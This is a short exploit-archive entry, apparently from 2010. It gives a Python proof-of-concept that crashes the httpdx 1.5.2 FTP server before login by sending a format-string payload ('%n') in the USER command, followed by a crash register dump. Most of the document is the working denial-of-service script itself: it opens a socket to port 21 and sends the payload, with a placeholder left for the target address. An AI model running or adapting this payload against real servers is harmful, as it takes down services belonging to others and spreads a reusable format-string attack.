httpdx 1.5.2 Pre-Auth Denial Of Service

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# Title: httpdx v1.5.2 Remote Pre-Authentication DoS (PoC crash)  
# Found by: loneferret  
# Hat's off to dookie2000ca  
# Date: 06/02/2010  
# Software link: http://httpdx.sourceforge.net/downloads/  
# Tested on: Windows XP SP3 Professional  
  
# Nod to the Exploit-DB Team  
  
#EAX 00000000  
#ECX 00000005  
#EDX 003E39AC  
#EBX 003EC96E  
#ESP 0186B7F4  
#EBP 0186BA60  
#ESI 0186B83C  
#EDI 003EC997 ASCII " "  
#EIP 77C42AC4 msvcrt.77C42AC4  
#C 0 ES 0023 32bit 0(FFFFFFFF)  
#P 1 CS 001B 32bit 0(FFFFFFFF)  
#A 0 SS 0023 32bit 0(FFFFFFFF)  
#Z 1 DS 0023 32bit 0(FFFFFFFF)  
#S 0 FS 003B 32bit 7FFD8000(FFF)  
#T 0 GS 0000 NULL  
#D 0  
#O 0 LastErr ERROR_SUCCESS (00000000)  
#EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)  
  
#!/usr/bin/python  
  
import socket  
  
buffer = "\x25\x6e"  
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address  
s.recv(1024)  
s.send('USER '+ buffer +'\r\n') #yup, doesn't take much does it.  
s.recv(1024) #  
s.close #don't really need these, force of habit  
  
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